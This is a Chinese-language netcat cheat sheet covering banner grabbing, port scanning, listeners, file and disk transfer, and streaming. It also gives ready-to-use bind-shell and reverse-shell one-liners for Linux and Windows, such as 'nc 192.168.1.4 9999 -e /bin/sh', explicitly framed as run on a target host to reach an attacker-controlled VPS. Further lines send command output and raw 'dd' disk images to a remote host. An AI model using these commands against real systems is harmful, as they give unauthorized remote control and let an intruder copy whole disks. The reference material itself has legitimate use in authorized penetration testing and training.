一、简单使用

  1. 1nc -nv 192.168.1.1 21 #banner抓取
  2. 2nc -nvv 192.168.1.1 80 #连接远程主机
  3. 3nc -v 192.168.1.1 80 #端口扫描
  4. 4nc -v -z 192.168.1.1 20-1024 #扫描端口段
  5. 5nc -l -p 9999 #端口监听
  6. 6nc -lp 333 >1.txt #在本地VPS主机监听
  7. nc -vn 192.168.1.1 333 < test.txt -q 1 #在目标主机输入
  8. 7nc -l -p 888
  9. nc -vn 192.168.1.1 888 #简易聊天

二、获取shell

(1)正向shell

  1. 监听目标主机的4444端口
  2. nc -lvp 4444 -e /bin/sh #Linux
  3. nc -lvp 444 -e c:\windows\system32\cmd.exe #Windows
  4. 在本地或者VPS上连接目标主机的4444端口
  5. nc 192.168.1.1 4444

(2)反向shell

  1. 在本地或者VPS主机上监听本地9999端口
  2. nc -lvp 9999
  3. 在目标主机输入连接VPS主机192.168.1.49999端口
  4. nc 192.168.1.4 9999 -e /bin/sh #Linux
  5. nc 192.168.1.4 9999 -e c:\windows\system32\cmd.exe #windows

nc 传输文本
首先一台机器要侦听一个端口(nc -l -p 4444)
另外一台机器作为客户端去链接那个端口(nc -nv 1.1.1.1 4444)
nc -lp 333 > result.txt 把结果输出到 result.txt 里面
ls | nc -nv 1.1.1.1 333 -q 1 (把ls的结果发送给1.1.1.1的333端口并且结束后的一秒后退出)

nc 远程控制
nc -lp 333 -e /bin/sh
nc -nv 1.1.1.1 333

nc 传输文件/目录
nc -nv 1.1.1.1 333 < 1.mp4
nc -lp 333 > 1.mp4

nc 流媒体服务
cat 1.mp4 | nc -lp 333
nc -nv 1.1.1.1 333 | mplayer -vo xll -cache 3000 -

nc 端口扫描
nc -nvz 1.1.1.1 1-1024 默认探测的是 TCP 开放的端口
nc -vnzu 1.1.1.1 1-1024 探测的是 UCP 开放的端口

nc 远程克隆硬盘
nc -lp 333 | dd of=/dev/sda
dd if=/dev/sda | nc -nv 1.1.1.1 333 -q l